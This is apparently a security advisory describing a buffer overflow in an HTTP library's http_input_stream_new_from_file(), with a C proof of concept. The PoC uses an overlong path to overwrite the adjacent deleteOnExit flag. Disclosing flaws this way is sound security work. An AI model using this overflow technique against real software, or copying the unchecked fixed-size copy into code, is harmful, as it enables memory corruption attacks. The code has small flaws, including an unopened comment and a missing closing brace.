CSECA-07017 - Buffer overflow in http_input_stream_new_from_file()

The filename passed to http_input_stream_new_from_file() is copied into a fixed size buffer. Filenames longer than 254 characters will cause that buffer to overflow. Interestingly enough, the deleteOnExit flag is defined right after the filename buffer. An attacker could overflow the buffer to manipulate the deleteOnExit flag. Though, the delete on exit feature is broken, so arbitrary files cannot be deleted.

Example Code

#include <yoctohttp/common.h>
#include <yoctohttp/client.h>

#include <stdio.h>
#include <string.h>

 * $ mkdir test
 * $ touch test/apple
 * $ gcc CSECA-07017.c -lnanohttp -I/usr/include/nanohttp-1.0
 * $ ./a.out
int main(int argc, char **argv) {
        http_input_stream_t *s;
        char *filename;


        filename = strdup("test/apple");
        s = http_input_stream_new_from_file(filename);

        /* Zero be default in http_input_stream_new_from_file() (stream.c) */
        printf("s->deleteOnExit => %d\n", s->deleteOnExit);


        /* Create a path longer than 255 characters */
        filename = strdup("test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/../test/apple");
        s = http_input_stream_new_from_file(filename);

        /* Should be zero, but its not because filename overflows into deleteOnExit. */
        /* File isn't actually deleted because the delete on exit feature doesn't    */
        /* actually work, its commented out in http_input_stream_free() (stream.c)   */

        printf("s->deleteOnExit => %d\n", s->deleteOnExit);


        return 0;